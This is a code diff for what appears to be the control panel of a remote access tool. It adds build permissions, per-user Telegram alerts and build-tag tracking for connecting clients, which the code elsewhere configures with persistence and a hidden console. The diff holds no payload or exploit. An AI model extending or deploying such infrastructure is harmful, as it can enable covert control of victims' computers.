@@ -6,6 +6,7 @@ import { deleteBuild, getAllBuilds, getBuild } from "../../db";
import { requirePermission } from "../../rbac";
import { logger } from "../../logger";
import path from "path";
import fs from "fs";
import { resolveRuntimeRoot } from "../runtime-paths";
type RequestIpProvider = {
@@ -35,7 +36,7 @@ export async function handleBuildRoutes(
}
if (req.method === "POST" && url.pathname === "/api/build/start") {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const body = await req.json();
const {
@@ -131,22 +132,40 @@ export async function handleBuildRoutes(
persistenceMethod: safePersistenceMethod,
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
builtByUserId: user.userId,
});
return Response.json({ buildId });
}
if (req.method === "GET" && url.pathname === "/api/build/list") {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const builds = getAllBuilds();
return Response.json({ builds });
}
if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const buildId = url.pathname.split("/")[3];
const buildId = decodeURIComponent(url.pathname.split("/")[3]);
const build = getBuild(buildId);
if (build?.files) {
const rootDir = resolveRuntimeRoot();
const outDir = path.join(rootDir, "dist-clients");
for (const file of build.files) {
try {
const filePath = path.join(outDir, file.filename);
if (fs.existsSync(filePath)) {
fs.unlinkSync(filePath);
logger.info(`[build:delete] Removed file: ${filePath}`);
}
} catch (err) {
logger.warn(`[build:delete] Failed to remove file ${file.filename}:`, err);
}
}
}
buildManager.deleteBuildStream(buildId);
deleteBuild(buildId);
@@ -161,11 +180,12 @@ export async function handleBuildRoutes(
success: true,
});
logger.info(`[build:delete] Build ${buildId.substring(0, 8)} deleted by ${user.username}`);
return Response.json({ success: true });
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/stream$/)) {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const buildId = url.pathname.split("/")[3];
const build = buildManager.getBuildStream(buildId);
@@ -219,7 +239,7 @@ export async function handleBuildRoutes(
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/info$/)) {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const buildId = url.pathname.split("/")[3];
const build = buildManager.getBuildStream(buildId);
@@ -248,7 +268,7 @@ export async function handleBuildRoutes(
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/download\//)) {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const rawName = url.pathname.split("/api/build/download/")[1] || "";
let fileName = rawName;
@@ -4,6 +4,7 @@ import { getConfig, updateSecurityConfig, updateTlsConfig } from "../../config";
import { getClientMetricsSummary } from "../../db";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
import { getUserTelegramChatId, setUserTelegramChatId } from "../../users";
import { runCertbotSetup } from "../certbot-setup";
type MiscRouteDeps = {
@@ -66,6 +67,35 @@ export async function handleMiscRoutes(
});
}
if (url.pathname === "/api/settings/telegram") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (req.method === "GET") {
const chatId = getUserTelegramChatId(user.userId);
return Response.json({ telegramChatId: chatId || "" });
}
if (req.method === "PUT") {
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const chatId = typeof body?.telegramChatId === "string" ? body.telegramChatId.trim() : null;
const result = setUserTelegramChatId(user.userId, chatId || null);
if (!result.success) {
return Response.json({ error: result.error }, { status: 400 });
}
return Response.json({ success: true, telegramChatId: chatId || "" });
}
}
if (url.pathname === "/api/settings/security") {
const user = await authenticateRequest(req);
if (!user) {
@@ -203,6 +203,10 @@ export async function handlePageRoutes(
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden", { status: 403 });
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
@@ -14,6 +14,7 @@ import {
removeUserClientAccessRule,
setUserClientAccessRule,
setUserClientAccessScope,
setUserCanBuild,
updateUserPassword,
updateUserRole,
} from "../../users";
@@ -242,6 +243,13 @@ export async function handleUsersRoutes(
return Response.json({ error: result.error }, { status: 400 });
}
if (access === "allow") {
const currentScope = getUserClientAccessScope(userId);
if (currentScope === "none") {
setUserClientAccessScope(userId, "allowlist");
}
}
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
@@ -316,6 +324,34 @@ export async function handleUsersRoutes(
return Response.json({ error: result.error }, { status: 400 });
}
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/can-build$/)) {
const authedUser = requirePermission(user, "users:manage");
const userId = parseInt(url.pathname.split("/")[3]);
const targetUser = getUserById(userId);
if (!targetUser) {
return Response.json({ error: "User not found" }, { status: 404 });
}
const body = await req.json();
const canBuild = !!body?.canBuild;
const result = setUserCanBuild(userId, canBuild);
if (!result.success) {
return Response.json({ error: result.error }, { status: 400 });
}
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: authedUser.username,
ip,
action: AuditAction.COMMAND,
details: `${canBuild ? "Granted" : "Revoked"} build permission for ${targetUser.username}`,
success: true,
});
return Response.json({ success: true, canBuild });
}
return new Response("Not found", { status: 404 });
} catch (error) {
if (error instanceof Response) {
@@ -79,6 +79,7 @@ type WsLifecycleDeps = {
notifyConsoleClosed: (clientId: string, reason: string) => void;
clearPendingNotificationScreenshots: (clientId: string) => void;
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
handleBuildTagConnection: (clientId: string, buildTag: string) => void;
};
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
@@ -188,6 +189,11 @@ export function handleWebSocketMessage(
details: JSON.stringify({ host: info.host, os: info.os, user: info.user }),
});
(ws as any).data.wasKnown = true;
const buildTag = typeof (payload as any).buildTag === "string" ? (payload as any).buildTag : "";
if (buildTag) {
deps.handleBuildTagConnection(info.id, buildTag);
}
}
break;
}
@@ -0,0 +1,124 @@
import { describe, expect, test } from "bun:test";
import {
canBuildClients,
createUser,
deleteUser,
getUserByUsername,
hasPermission,
setUserCanBuild,
} from "./users";
const createdUserIds: number[] = [];
async function createTempUser(role: "viewer" | "operator" | "admin") {
const username = `bp_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`;
const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test");
expect(result.success).toBe(true);
const user = getUserByUsername(username);
expect(user).not.toBeNull();
createdUserIds.push(user!.id);
return user!;
}
function cleanupCreatedUsers() {
while (createdUserIds.length > 0) {
const id = createdUserIds.pop();
if (typeof id === "number") {
deleteUser(id);
}
}
}
describe("build permission (can_build)", () => {
test("admin always has build permission regardless of can_build flag", async () => {
try {
const admin = await createTempUser("admin");
expect(canBuildClients(admin.id, admin.role)).toBe(true);
setUserCanBuild(admin.id, false);
// Admin role always returns true
expect(canBuildClients(admin.id, "admin")).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("operator defaults to can_build = 1", async () => {
try {
const operator = await createTempUser("operator");
expect(canBuildClients(operator.id, operator.role)).toBe(true);
} finally {
cleanupCreatedUsers();
}
});
test("viewer defaults to can_build = 0", async () => {
try {
const viewer = await createTempUser("viewer");
expect(canBuildClients(viewer.id, viewer.role)).toBe(false);
} finally {
cleanupCreatedUsers();
}
});
test("revoking build permission denies building for non-admin", async () => {
try {
const operator = await createTempUser("operator");
expect(canBuildClients(operator.id, operator.role)).toBe(true);
const result = setUserCanBuild(operator.id, false);
expect(result.success).toBe(true);
expect(canBuildClients(operator.id, operator.role)).toBe(false);
} finally {
cleanupCreatedUsers();
}
});
test("granting build permission re-enables building", async () => {
try {
const viewer = await createTempUser("viewer");
expect(canBuildClients(viewer.id, viewer.role)).toBe(false);
setUserCanBuild(viewer.id, true);
expect(canBuildClients(viewer.id, viewer.role)).toBe(true);
setUserCanBuild(viewer.id, false);
expect(canBuildClients(viewer.id, viewer.role)).toBe(false);
} finally {
cleanupCreatedUsers();
}
});
test("hasPermission for clients:build uses userId when provided", async () => {
try {
const operator = await createTempUser("operator");
expect(hasPermission(operator.role, "clients:build", operator.id)).toBe(true);
setUserCanBuild(operator.id, false);
expect(hasPermission(operator.role, "clients:build", operator.id)).toBe(false);
} finally {
cleanupCreatedUsers();
}
});
test("hasPermission for clients:build without userId falls back to role check", () => {
expect(hasPermission("admin", "clients:build")).toBe(true);
expect(hasPermission("operator", "clients:build")).toBe(true);
expect(hasPermission("viewer", "clients:build")).toBe(false);
});
test("other permissions are unaffected by can_build", async () => {
try {
const operator = await createTempUser("operator");
setUserCanBuild(operator.id, false);
expect(hasPermission(operator.role, "clients:control", operator.id)).toBe(true);
expect(hasPermission(operator.role, "users:manage", operator.id)).toBe(false);
} finally {
cleanupCreatedUsers();
}
});
});
+153
View File
@@ -0,0 +1,153 @@
import { describe, expect, test } from "bun:test";
import {
createUser,
deleteUser,
getUserByUsername,
getUserTelegramChatId,
getUsersWithTelegramChatId,
setUserTelegramChatId,
setUserClientAccessScope,
setUserClientAccessRule,
canUserAccessClient,
} from "./users";
const createdUserIds: number[] = [];
async function createTempUser(role: "viewer" | "operator" | "admin") {
const username = `tg_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`;
const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test");
expect(result.success).toBe(true);
const user = getUserByUsername(username);
expect(user).not.toBeNull();
createdUserIds.push(user!.id);
return user!;
}
function cleanupCreatedUsers() {
while (createdUserIds.length > 0) {
const id = createdUserIds.pop();
if (typeof id === "number") {
deleteUser(id);
}
}
}
describe("per-user Telegram settings", () => {
test("new user has no telegram chat ID", async () => {
try {
const user = await createTempUser("operator");
expect(getUserTelegramChatId(user.id)).toBeNull();
} finally {
cleanupCreatedUsers();
}
});
test("setUserTelegramChatId stores and retrieves chat ID", async () => {
try {
const user = await createTempUser("operator");
const result = setUserTelegramChatId(user.id, "123456789");
expect(result.success).toBe(true);
expect(getUserTelegramChatId(user.id)).toBe("123456789");
} finally {
cleanupCreatedUsers();
}
});
test("setUserTelegramChatId with null clears the chat ID", async () => {
try {
const user = await createTempUser("viewer");
setUserTelegramChatId(user.id, "987654321");
expect(getUserTelegramChatId(user.id)).toBe("987654321");
setUserTelegramChatId(user.id, null);
expect(getUserTelegramChatId(user.id)).toBeNull();
} finally {
cleanupCreatedUsers();
}
});
test("getUsersWithTelegramChatId returns only users with configured chat IDs", async () => {
try {
const user1 = await createTempUser("operator");
const user2 = await createTempUser("viewer");
const user3 = await createTempUser("operator");
setUserTelegramChatId(user1.id, "chat_111");
// user2 has no chat ID
setUserTelegramChatId(user3.id, "chat_333");
const withChatId = getUsersWithTelegramChatId();
const ourUsers = withChatId.filter((u) => [user1.id, user2.id, user3.id].includes(u.id));
expect(ourUsers.length).toBe(2);
expect(ourUsers.some((u) => u.id === user1.id && u.telegram_chat_id === "chat_111")).toBe(true);
expect(ourUsers.some((u) => u.id === user3.id && u.telegram_chat_id === "chat_333")).toBe(true);
expect(ourUsers.some((u) => u.id === user2.id)).toBe(false);
} finally {
cleanupCreatedUsers();
}
});
test("getUsersWithTelegramChatId returns role and client_scope", async () => {
try {
const operator = await createTempUser("operator");
setUserTelegramChatId(operator.id, "chat_op");
setUserClientAccessScope(operator.id, "allowlist");
const users = getUsersWithTelegramChatId();
const found = users.find((u) => u.id === operator.id);
expect(found).not.toBeNull();
expect(found!.role).toBe("operator");
expect(found!.client_scope).toBe("allowlist");
} finally {
cleanupCreatedUsers();
}
});
test("per-user notification filtering respects client access", async () => {
try {
const operator = await createTempUser("operator");
setUserTelegramChatId(operator.id, "chat_filter");
setUserClientAccessScope(operator.id, "allowlist");
setUserClientAccessRule(operator.id, "allowed-client", "allow");
// Operator should see allowed-client but not other-client
expect(canUserAccessClient(operator.id, operator.role, "allowed-client")).toBe(true);
expect(canUserAccessClient(operator.id, operator.role, "other-client")).toBe(false);
// This simulates what the notification delivery does:
// get users with chat IDs, then filter by canUserAccessClient
const recipients = getUsersWithTelegramChatId();
const opRecipient = recipients.find((r) => r.id === operator.id);
expect(opRecipient).not.toBeNull();
const canAccessAllowed = canUserAccessClient(operator.id, operator.role, "allowed-client");
const canAccessOther = canUserAccessClient(operator.id, operator.role, "other-client");
expect(canAccessAllowed).toBe(true);
expect(canAccessOther).toBe(false);
} finally {
cleanupCreatedUsers();
}
});
test("admin with telegram chat ID can access all clients", async () => {
try {
const admin = await createTempUser("admin");
setUserTelegramChatId(admin.id, "chat_admin");
expect(canUserAccessClient(admin.id, admin.role, "any-client-1")).toBe(true);
expect(canUserAccessClient(admin.id, admin.role, "any-client-2")).toBe(true);
const recipients = getUsersWithTelegramChatId();
const adminRecipient = recipients.find((r) => r.id === admin.id);
expect(adminRecipient).not.toBeNull();
expect(adminRecipient!.telegram_chat_id).toBe("chat_admin");
} finally {
cleanupCreatedUsers();
}
});
});
+88 -6
View File
@@ -22,6 +22,8 @@ export interface User {
created_by: string | null;
must_change_password: number;
client_scope: ClientAccessScope;
can_build: number;
telegram_chat_id: string | null;
}
export interface UserInfo {
@@ -32,6 +34,8 @@ export interface UserInfo {
last_login: number | null;
created_by: string | null;
client_scope: ClientAccessScope;
can_build: number;
telegram_chat_id: string | null;
}
export interface UserClientAccessRule {
@@ -97,6 +101,34 @@ try {
logger.error("[users] Failed to normalize admin client_scope:", err);
}
try {
db.exec(
`ALTER TABLE users ADD COLUMN can_build INTEGER NOT NULL DEFAULT 0`,
);
logger.info("[users] Added can_build column to existing database");
try {
db.exec(`UPDATE users SET can_build=1 WHERE role='admin' OR role='operator'`);
} catch (err: any) {
logger.error("[users] Failed to backfill admin/operator can_build:", err);
}
} catch (err: any) {
if (!err.message?.includes("duplicate column name")) {
logger.error("[users] Migration error:", err);
}
}
try {
db.exec(
`ALTER TABLE users ADD COLUMN telegram_chat_id TEXT DEFAULT NULL`,
);
logger.info("[users] Added telegram_chat_id column to existing database");
} catch (err: any) {
if (!err.message?.includes("duplicate column name")) {
logger.error("[users] Migration error:", err);
}
}
const userCount = db.prepare("SELECT COUNT(*) as count FROM users").get() as {
count: number;
};
@@ -112,8 +144,8 @@ if (userCount.count === 0) {
});
db.prepare(
"INSERT INTO users (username, password_hash, role, created_at, created_by, must_change_password, client_scope) VALUES (?, ?, ?, ?, ?, ?, ?)",
).run(initialUsername, defaultPassword, "admin", Date.now(), "system", 1, "all");
"INSERT INTO users (username, password_hash, role, created_at, created_by, must_change_password, client_scope, can_build) VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
).run(initialUsername, defaultPassword, "admin", Date.now(), "system", 1, "all", 1);
const createdUser = db
.prepare("SELECT * FROM users WHERE username = ?")
@@ -149,7 +181,7 @@ export function getUserByUsername(username: string): User | null {
export function listUsers(): UserInfo[] {
const users = db
.prepare(
"SELECT id, username, role, created_at, last_login, created_by, client_scope FROM users ORDER BY created_at DESC",
"SELECT id, username, role, created_at, last_login, created_by, client_scope, can_build, telegram_chat_id FROM users ORDER BY created_at DESC",
)
.all() as UserInfo[];
return users;
@@ -328,9 +360,9 @@ export async function createUser(
const result = db
.prepare(
"INSERT INTO users (username, password_hash, role, created_at, created_by, client_scope) VALUES (?, ?, ?, ?, ?, ?)",
"INSERT INTO users (username, password_hash, role, created_at, created_by, client_scope, can_build) VALUES (?, ?, ?, ?, ?, ?, ?)",
)
.run(username, passwordHash, role, Date.now(), createdBy, role === "admin" ? "all" : "none");
.run(username, passwordHash, role, Date.now(), createdBy, role === "admin" ? "all" : "none", role === "admin" || role === "operator" ? 1 : 0);
return { success: true, userId: result.lastInsertRowid as number };
} catch (err: any) {
@@ -440,11 +472,17 @@ export function canViewClients(role: UserRole): boolean {
return role === "admin";
}
export function canBuildClients(userId: number, role: UserRole): boolean {
if (role === "admin") return true;
const user = getUserById(userId);
return user ? user.can_build === 1 : false;
}
export function canViewAuditLogs(role: UserRole): boolean {
return role === "admin";
}
export function hasPermission(role: UserRole, permission: string): boolean {
export function hasPermission(role: UserRole, permission: string, userId?: number): boolean {
switch (permission) {
case "users:manage":
return canManageUsers(role);
@@ -452,9 +490,53 @@ export function hasPermission(role: UserRole, permission: string): boolean {
return canControlClients(role);
case "clients:view":
return canViewClients(role);
case "clients:build":
if (userId !== undefined) return canBuildClients(userId, role);
return role === "admin" || role === "operator";
case "audit:view":
return canViewAuditLogs(role);
default:
return false;
}
}
export function setUserCanBuild(
userId: number,
canBuild: boolean,
): { success: boolean; error?: string } {
try {
db.prepare("UPDATE users SET can_build = ? WHERE id = ?").run(canBuild ? 1 : 0, userId);
return { success: true };
} catch (err: any) {
logger.error("[users] setUserCanBuild error:", err);
return { success: false, error: err.message || "Failed to update build permission" };
}
}
export function setUserTelegramChatId(
userId: number,
chatId: string | null,
): { success: boolean; error?: string } {
try {
db.prepare("UPDATE users SET telegram_chat_id = ? WHERE id = ?").run(chatId, userId);
return { success: true };
} catch (err: any) {
logger.error("[users] setUserTelegramChatId error:", err);
return { success: false, error: err.message || "Failed to update Telegram chat ID" };
}
}
export function getUserTelegramChatId(userId: number): string | null {
const row = db
.prepare("SELECT telegram_chat_id FROM users WHERE id = ?")
.get(userId) as { telegram_chat_id?: string | null } | undefined;
return row?.telegram_chat_id || null;
}
export function getUsersWithTelegramChatId(): Array<{ id: number; username: string; role: UserRole; client_scope: ClientAccessScope; telegram_chat_id: string }> {
return db
.prepare(
"SELECT id, username, role, client_scope, telegram_chat_id FROM users WHERE telegram_chat_id IS NOT NULL AND telegram_chat_id != ''",
)
.all() as any[];
}